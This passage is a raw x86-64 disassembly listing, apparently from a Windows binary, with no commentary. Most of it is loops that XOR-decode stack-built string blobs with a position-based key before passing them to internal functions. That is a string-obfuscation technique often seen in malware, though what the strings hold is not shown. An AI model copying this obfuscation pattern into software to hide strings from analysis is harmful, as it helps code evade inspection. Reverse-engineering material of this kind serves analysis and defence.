mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5b
xor byte [rsp + r9 + 0x274c], al
lea ecx, [r8 + 0x24]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5c
xor byte [rsp + r9 + 0x274d], al
lea ecx, [r8 + 0x25]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5d
xor byte [rsp + r9 + 0x274e], al
add r10d, 0x28
cmp r10d, 0x78
jl 0x1400f5670
lea rdx, [rsp + 0x2727]
lea rcx, [rsp + 0xf28]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9b00]
vmovups ymmword [rsp + 0x3631], ymm0
vmovups ymm1, ymmword [0x1401e9b20]
vmovups ymmword [rsp + 0x3651], ymm1
vmovups ymm0, ymmword [0x1401e9b40]
vmovups ymmword [rsp + 0x3671], ymm0
vmovups ymm1, ymmword [0x1401e9b60]
vmovups ymmword [rsp + 0x3691], ymm1
vmovups xmm0, xmmword [0x1401e9b80]
vmovups xmmword [rsp + 0x36b1], xmm0
vmovsd xmm0, qword [0x1401e9b90]
vmovsd qword [rsp + 0x36c1], xmm0
mov eax, dword [0x1401e9b98]
mov dword [rsp + 0x36c9], eax
xor r8d, r8d
lea r9, [rsp + 0x3631]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400f5de0
lea rdx, [rsp + 0x3631]
lea rcx, [rsp + 0xf48]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9ba0]
vmovups ymmword [rsp + 0x2f29], ymm0
vmovups ymm1, ymmword [0x1401e9bc0]
vmovups ymmword [rsp + 0x2f49], ymm1
vmovups ymm0, ymmword [0x1401e9be0]
vmovups ymmword [rsp + 0x2f69], ymm0
vmovups ymm1, ymmword [0x1401e9c00]
vmovups ymmword [rsp + 0x2f89], ymm1
vmovups xmm0, xmmword [0x1401e9c20]
vmovups xmmword [rsp + 0x2fa9], xmm0
movzx eax, word [0x1401e9c30]
mov word [rsp + 0x2fb9], ax
xor r8d, r8d
lea r9, [rsp + 0x2f29]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f5ea0
lea rdx, [rsp + 0x2f29]
lea rcx, [rsp + 0xf68]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9c40]
vmovups ymmword [rsp + 0x329d], ymm0
vmovups ymm1, ymmword [0x1401e9c60]
vmovups ymmword [rsp + 0x32bd], ymm1
vmovups ymm0, ymmword [0x1401e9c80]
vmovups ymmword [rsp + 0x32dd], ymm0
vmovups ymm1, ymmword [0x1401e9ca0]
vmovups ymmword [rsp + 0x32fd], ymm1
vmovups xmm0, xmmword [0x1401e9cc0]
vmovups xmmword [rsp + 0x331d], xmm0
mov eax, dword [0x1401e9cd0]
mov dword [rsp + 0x332d], eax
movzx eax, word [0x1401e9cd4]
mov word [rsp + 0x3331], ax
movzx eax, byte [0x1401e9cd6]
mov byte [rsp + 0x3333], al
xor r8d, r8d
lea r9, [rsp + 0x329d]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400f5f80
lea rdx, [rsp + 0x329d]
lea rcx, [rsp + 0xf88]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x380a]
lea rcx, [r14 + 0x1e9ce0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups ymm0, ymmword [rcx + 0x60]
vmovups ymmword [rdx + 0x60], ymm0
vmovups ymm0, ymmword [rcx + 0x80]
vmovups ymmword [rdx + 0x80], ymm0
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
xor r8d, r8d
lea r9, [rsp + 0x380a]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x1400f6040
lea rdx, [rsp + 0x380a]
lea rcx, [rsp + 0xfa8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9d90]
vmovups ymmword [rsp + 0x2fbb], ymm0
vmovups ymm1, ymmword [0x1401e9db0]
vmovups ymmword [rsp + 0x2fdb], ymm1
vmovups ymm0, ymmword [0x1401e9dd0]
vmovups ymmword [rsp + 0x2ffb], ymm0
vmovups ymm1, ymmword [0x1401e9df0]
vmovups ymmword [rsp + 0x301b], ymm1
vmovups xmm0, xmmword [str.30:_r_v_5823z_N]
vmovups xmmword [rsp + 0x303b], xmm0
movzx eax, word [0x1401e9e20]
mov word [rsp + 0x304b], ax
xor r8d, r8d
lea r9, [rsp + 0x2fbb]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f6100
lea rdx, [rsp + 0x2fbb]
lea rcx, [rsp + 0xfc8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9e30]
vmovups ymmword [rsp + 0x3463], ymm0
vmovups ymm1, ymmword [0x1401e9e50]
vmovups ymmword [rsp + 0x3483], ymm1
vmovups ymm0, ymmword [str.___4__8._]
vmovups ymmword [rsp + 0x34a3], ymm0
vmovups ymm1, ymmword [0x1401e9e90]
vmovups ymmword [rsp + 0x34c3], ymm1
vmovups xmm0, xmmword [0x1401e9eb0]
vmovups xmmword [rsp + 0x34e3], xmm0
vmovsd xmm0, qword [str._f_a_v_bCG]
vmovsd qword [rsp + 0x34f3], xmm0
movzx eax, byte [0x1401e9ec8]
mov byte [rsp + 0x34fb], al
xor r8d, r8d
lea r9, [rsp + 0x3463]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400f61d0
lea rdx, [rsp + 0x3463]
lea rcx, [rsp + 0xfe8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9ed0]
vmovups ymmword [rsp + 0x2b36], ymm0
vmovups ymm1, ymmword [0x1401e9ef0]
vmovups ymmword [rsp + 0x2b56], ymm1
vmovups ymm0, ymmword [str.1__n____n__q]
vmovups ymmword [rsp + 0x2b76], ymm0
vmovups ymm1, ymmword [0x1401e9f30]
vmovups ymmword [rsp + 0x2b96], ymm1
vmovsd xmm0, qword [0x1401e9f50]
vmovsd qword [rsp + 0x2bb6], xmm0
mov eax, dword [0x1401e9f58]
mov dword [rsp + 0x2bbe], eax
movzx eax, word [0x1401e9f5c]
mov word [rsp + 0x2bc2], ax
xor r8d, r8d
lea r9, [rsp + 0x2b36]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8e
jl 0x1400f62a0
lea rdx, [rsp + 0x2b36]
lea rcx, [rsp + 0x1008]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9f60]
vmovups ymmword [rsp + 0x3334], ymm0
vmovups ymm1, ymmword [0x1401e9f80]
vmovups ymmword [rsp + 0x3354], ymm1
vmovups ymm0, ymmword [0x1401e9fa0]
vmovups ymmword [rsp + 0x3374], ymm0
vmovups ymm1, ymmword [0x1401e9fc0]
vmovups ymmword [rsp + 0x3394], ymm1
vmovups xmm0, xmmword [0x1401e9fe0]
vmovups xmmword [rsp + 0x33b4], xmm0
mov eax, dword [0x1401e9ff0]
mov dword [rsp + 0x33c4], eax
movzx eax, word [0x1401e9ff4]
mov word [rsp + 0x33c8], ax
movzx eax, byte [0x1401e9ff6]
mov byte [rsp + 0x33ca], al
xor r8d, r8d
lea r9, [rsp + 0x3334]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400f6380
lea rdx, [rsp + 0x3334]
lea rcx, [rsp + 0x1028]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea000]
vmovups ymmword [rsp + 0x33cb], ymm0
vmovups ymm1, ymmword [0x1401ea020]
vmovups ymmword [rsp + 0x33eb], ymm1
vmovups ymm0, ymmword [0x1401ea040]
vmovups ymmword [rsp + 0x340b], ymm0
vmovups ymm1, ymmword [0x1401ea060]
vmovups ymmword [rsp + 0x342b], ymm1
vmovups xmm0, xmmword [0x1401ea080]
vmovups xmmword [rsp + 0x344b], xmm0
vmovsd xmm0, qword [0x1401ea090]
vmovsd qword [rsp + 0x345b], xmm0
xor r8d, r8d
lea r9, [rsp + 0x33cb]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x1400f6440
lea rdx, [rsp + 0x33cb]
lea rcx, [rsp + 0x1048]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea0a0]
vmovups ymmword [rsp + 0x36cd], ymm0
vmovups ymm1, ymmword [0x1401ea0c0]
vmovups ymmword [rsp + 0x36ed], ymm1
vmovups ymm0, ymmword [0x1401ea0e0]
vmovups ymmword [rsp + 0x370d], ymm0
vmovups ymm1, ymmword [0x1401ea100]
vmovups ymmword [rsp + 0x372d], ymm1
vmovups xmm0, xmmword [0x1401ea120]
vmovups xmmword [rsp + 0x374d], xmm0
vmovsd xmm0, qword [0x1401ea130]
vmovsd qword [rsp + 0x375d], xmm0
mov eax, dword [0x1401ea138]
mov dword [rsp + 0x3765], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x3769], al
xor r8d, r8d
lea r9, [rsp + 0x36cd]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x1400f6520
lea rdx, [rsp + 0x36cd]
lea rcx, [rsp + 0x1068]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea140]
vmovups ymmword [rsp + 0x3596], ymm0
vmovups ymm1, ymmword [0x1401ea160]
vmovups ymmword [rsp + 0x35b6], ymm1
vmovups ymm0, ymmword [0x1401ea180]
vmovups ymmword [rsp + 0x35d6], ymm0
vmovups ymm1, ymmword [0x1401ea1a0]
vmovups ymmword [rsp + 0x35f6], ymm1
vmovups xmm0, xmmword [0x1401ea1c0]
vmovups xmmword [rsp + 0x3616], xmm0
vmovsd xmm0, qword [0x1401ea1d0]
vmovsd qword [rsp + 0x3626], xmm0
movzx eax, word [0x1401ea1d8]
mov word [rsp + 0x362e], ax
movzx eax, byte [0x1401ea1da]
mov byte [rsp + 0x3630], al
xor r8d, r8d
lea r9, [rsp + 0x3596]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x1400f6600
lea rdx, [rsp + 0x3596]
lea rcx, [rsp + 0x1088]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea1e0]
vmovups ymmword [rsp + 0x1663], ymm0
vmovsd xmm0, qword [0x1401ea200]
vmovsd qword [rsp + 0x1683], xmm0
movzx eax, byte [0x1401ea208]
mov byte [rsp + 0x1663], 0x52
xor byte [rsp + 0x1664], 0x37
xor byte [rsp + 0x1665], 0x38
xor byte [rsp + 0x1666], 0x39
xor byte [rsp + 0x1667], 0x3a
xor byte [rsp + 0x1668], 0x3b
xor byte [rsp + 0x1669], 0x3c
xor byte [rsp + 0x166a], 0x3d
xor byte [rsp + 0x166b], 0x3e
xor byte [rsp + 0x166c], 0x3f
xor byte [rsp + 0x166d], 0x40
xor byte [rsp + 0x166e], 0x41
xor byte [rsp + 0x166f], 0x42
xor byte [rsp + 0x1670], 0x43
xor byte [rsp + 0x1671], 0x44
xor byte [rsp + 0x1672], 0x45
xor byte [rsp + 0x1673], 0x46
xor byte [rsp + 0x1674], 0x47
xor byte [rsp + 0x1675], 0x48
xor byte [rsp + 0x1676], 0x49
xor byte [rsp + 0x1677], 0x4a
xor byte [rsp + 0x1678], 0x4b
xor byte [rsp + 0x1679], 0x4c
xor byte [rsp + 0x167a], 0x4d
xor byte [rsp + 0x167b], 0x4e
xor byte [rsp + 0x167c], 0x4f
xor byte [rsp + 0x167d], 0x50
xor byte [rsp + 0x167e], 0x51
xor byte [rsp + 0x167f], 0x52
xor byte [rsp + 0x1680], 0x53
xor byte [rsp + 0x1681], 0x54
xor byte [rsp + 0x1682], 0x55
xor byte [rsp + 0x1683], 0x56
xor byte [rsp + 0x1684], 0x57
xor byte [rsp + 0x1685], 0x58
xor byte [rsp + 0x1686], 0x59
xor byte [rsp + 0x1687], 0x5a
xor byte [rsp + 0x1688], 0x5b
xor byte [rsp + 0x1689], 0x5c
xor byte [rsp + 0x168a], 0x5d
xor al, 0x5e
mov byte [rsp + 0x168b], al
lea rdx, [rsp + 0x1663]
lea rcx, [rsp + 0x10a8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea210]
vmovups ymmword [rsp + 0x24b6], ymm0
vmovups ymm1, ymmword [0x1401ea230]
vmovups ymmword [rsp + 0x24d6], ymm1
vmovups xmm0, xmmword [0x1401ea250]
vmovups xmmword [rsp + 0x24f6], xmm0
mov eax, dword [0x1401ea260]
mov dword [rsp + 0x2506], eax
movzx eax, word [0x1401ea264]
mov word [rsp + 0x250a], ax
movzx eax, byte [0x1401ea266]
mov byte [rsp + 0x250c], al
xor r10d, r10d
nop
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x24b6], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x24b7], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x24b8], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x24b9], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x24ba], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x24bb], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x24bc], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x24bd], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x24be], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x24bf], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x24c0], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x24c1], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x24c2], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x24c3], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x24c4], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x24c5], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x24c6], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x24c7], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x24c8], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x24c9], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x24ca], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x24cb], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x24cc], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x24cd], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x24ce], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x24cf], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x24d0], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x24d1], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x24d2], al
add r10d, 0x1d
cmp r10d, 0x57
jl 0x1400f6840
lea rdx, [rsp + 0x24b6]
lea rcx, [rsp + 0x10c8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea270]
vmovups ymmword [rsp + 0x2569], ymm0
vmovups ymm1, ymmword [0x1401ea290]
vmovups ymmword [rsp + 0x2589], ymm1
vmovups xmm0, xmmword [0x1401ea2b0]
vmovups xmmword [rsp + 0x25a9], xmm0
vmovsd xmm0, qword [0x1401ea2c0]
vmovsd qword [rsp + 0x25b9], xmm0
mov eax, dword [0x1401ea2c8]
mov dword [rsp + 0x25c1], eax
movzx eax, word [0x1401ea2cc]
mov word [rsp + 0x25c5], ax
xor r8d, r8d
lea r9, [rsp + 0x256a]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x5e
jl 0x1400f6db0
lea rdx, [rsp + 0x2569]
lea rcx, [rsp + 0x10e8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea2d0]
vmovups ymmword [rsp + 0x240f], ymm0
vmovups ymm1, ymmword [0x1401ea2f0]
vmovups ymmword [rsp + 0x242f], ymm1
vmovups xmm0, xmmword [0x1401ea310]
vmovups xmmword [rsp + 0x244f], xmm0
movzx eax, word [0x1401ea320]
mov word [rsp + 0x245f], ax
movzx eax, byte [0x1401ea322]
mov byte [rsp + 0x2461], al
xor r8d, r8d
lea r9, [rsp + 0x240f]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x53
jl 0x1400f6e80
lea rdx, [rsp + 0x240f]
lea rcx, [rsp + 0x1108]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea330]
vmovups ymmword [rsp + 0x250d], ymm0
vmovups ymm1, ymmword [0x1401ea350]
vmovups ymmword [rsp + 0x252d], ymm1
vmovups xmm0, xmmword [0x1401ea370]
vmovups xmmword [rsp + 0x254d], xmm0
vmovsd xmm0, qword [0x1401ea380]
vmovsd qword [rsp + 0x255d], xmm0
mov eax, dword [0x1401ea388]
mov dword [rsp + 0x2565], eax
xor r10d, r10d
nop dword [rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x250d], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x250e], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x250f], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2510], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2511], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2512], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2513], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2514], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2515], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2516], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
